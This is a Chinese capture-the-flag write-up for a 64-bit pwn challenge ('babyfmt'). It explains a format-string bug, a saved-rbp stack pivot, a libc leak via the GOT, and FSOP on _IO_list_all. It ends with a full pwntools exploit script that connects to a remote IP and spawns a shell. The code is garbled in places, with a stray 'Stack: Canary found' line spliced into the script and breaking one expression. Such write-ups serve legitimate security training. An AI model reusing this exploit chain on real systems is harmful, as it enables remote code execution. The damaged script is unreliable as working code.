写在前面
本萌新又开始玩pwn了,这次试一试pwnhub,竟然做出来了,希望有朝一日成为大佬。
题目描述
首先,题目是x64,开的保护如下:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
功能:
1.set name
2.set motto
3.show motto
4.Exit
且每个功能只能调用一次,除非修改bss段上的一个用作判断的值。
name和motto存放在mmap映射的空间中,空间的地址是由当前时间做种子生成的伪随机数与0xFFFFFFFF相与。
题目漏洞
题目存在一个格式化字符串的漏洞,处在1功能中,并且这个漏洞经历了两次函数调用,(第一次调用的函数没有其他代码,直接调用第二个函数)。有一次的scanf,其参数在栈中,这个漏洞在3功能中。
但是我们的格式化字符串只允许写入6个字符。
解题思路
修改scanf参数
既然,scanf的参数在栈中,只要我们能修改,就可以达到修改scanf参数的目的。
首先,我们虽然只能写入6个字符,不能达到写任何数据,但是我们可以写入\x00
,另外我们的printf和主函数中间加了一个函数,于是返回时,栈就会抬高。这样,我们就可以通过将rbp的最后一个双字改为0,这样栈就能被抬高,这样,本来scanf的格式的参数(放在栈中),就会被抬高到我们可控的区间。
修改前栈空间
0000| 0x7ffc62400110 --> 0x7ffc62400120 --> 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push r15)
0008| 0x7ffc62400118 --> 0x400d47 (nop)
0016| 0x7ffc62400120 --> 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push r15)
0024| 0x7ffc62400128 --> 0x400eba (jmp 0x400f4b)
0032| 0x7ffc62400130 --> 0x0
0040| 0x7ffc62400138 --> 0x100400bf8
0048| 0x7ffc62400140 --> 0x4010bc --> 0x796e6f6e61006425 ('%d')
0056| 0x7ffc62400148 --> 0x99eb47c21da21700
----------------------------------
RBP: 0x7ffc62400110 --> 0x7ffc62400120 --> 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push r15)
修改后栈空间
0000| 0x7ffc62400110 --> 0x7ffc62400120 --> 0x7ffc62400000 --> 0x400980 (xor ebp,ebp)
0008| 0x7ffc62400118 --> 0x400d47 (nop)
0016| 0x7ffc62400120 --> 0x7ffc62400000 --> 0x400980 (xor ebp,ebp)
0024| 0x7ffc62400128 --> 0x400eba (jmp 0x400f4b)
0032| 0x7ffc62400130 --> 0x0
0040| 0x7ffc62400138 --> 0x100400bf8
0048| 0x7ffc62400140 --> 0x4010bc --> 0x796e6f6e61006425 ('%d')
0056| 0x7ffc62400148 --> 0x99eb47c21da21700
0x7ffc62400000上面有一部分值是我们添加motto时可控的,于是我们就能把scanf的参数改掉:
0x7ffc623ffff0就是我们存放参数的地方,我们可以使得其中内容为我们可以控制的地方,比如说能放置motto的mmap的空间:
0x7ffc623ffff0: 0x000000001ca13000
然后只要我们在motto上写入我们想要的格式。
leak address
当我们控制了scanf的格式后,我们就能对其参数进行修改。
栈上有这样的内容:
0032| 0x7ffc62400150 --> 0x7ffc62400180 --> 0x7ffc62619320 --> 0x400fb0 (push r15)
于是我们通过修改0x7ffc62400150使得0x7ffc62400180指向的地址改变,之后修改0x7ffc62400180,改变0x7ffc62400180指向的地址中的内容,从而达到任意写。
经过计算,参数的偏移是10和16,于是,我们可以构造出这样的格式串,%d,%10$ld,%16$s,后面我们还需要使用3号功能,于是我们需要在之前加上%d。这样我们传入放置motto的地址,之后放入got表的地址,就能将got表的地址写入motto,这样我们调用3功能,就能leak出libc的地址。
0032| 0x7ffc62400150 --> 0x7ffc62400180 --> 0x602058 --> 0x601ff0 --> 0x7f041d70d030 (<__GI_exit>: )
于是就能得到地址了。
修改 _IO_list_all
本题got表不可写,vtable处也不可写,于是我就使用了FSOP(可以看我上篇文章,bctf,baby_arena),写好之后,getshell。
exp
#coding=UTF-8
#author = rainbow541
from pwn import *
from ctypes import cdll
#context.log_level = 'debug'
bin = ELF('./babyfmt')
def set_name(p,text):
p.recvuntil('>')
p.sendline('1')
p.recvuntil('name:')
p.sendline(text)
def set_motto(p,text):
p.recvuntil('>')
p.sendline('2')
p.recvuntil('motto:')
p.sendline(text)
def pwn(i,local):
if local == 1:
p = process('./babyfmt')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libcc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
else:
p = remote('54.222.191.56',9999)
libc = ELF('./libc-2.23.so')
libcc = cdll.LoadLibrary("./libc-2.23.so")
address_dest = 0x0000000000602058
#----mmap address-----
time = libcc.time(0) + i
print "time:"+str(i)
libcc.srand(time)
v2 = libcc.rand() & 0xFFFFF000
v3 = libcc.rand() & 0xFFFFF000
success("v2: "+hex(v2))
success("dest: "+hex(v3))
#--------------------------
#-------------fake file---
fake_file = p64(0)*5
fake_file += p64(233)
fake_file += p64(0)*21
fake_file += p64(v3+40+(28*8))
#----------leak address---
payload_stack = '%d,%10$ld,%16$s'
set_motto(p,payload_stack + 'A'*(4*8-len(payload_stack))+p64(v3)+fake_file)
print pidof(p)
Stack: Canary found
payload = "%6$hn"
set_name(p,payload)
p.sendline("3,"+str(address_dest)+","+p64(bin.got['exit']))
print p.recvuntil(">")
sleep(0.5)
address = p.recvuntil("\n")[:-1]
print address
#--------------------------
libc_exit_address = u64(address + '\x00'*(8-len(address)))
success("libc_exit_address: "+hex(libc_exit_address))
libc.address = libc_exit_address - libc.symbols['exit']
success('libc_address: '+hex(libc.address))
#---------------------------
p.sendline("2,"+str(v3+40+(28*8)) + "," + p64(libc.
Stack: Canary foundaddress + 0xf02a4)*21)
p.sendline("2,"+str(libc.symbols['_IO_list_all']) + "," + p64(v3+40))
p.interactive()
pwn(0,1)
后记
比赛第一天本地通了,远程一直没通,第二天换了台电脑,通了。。。。。。。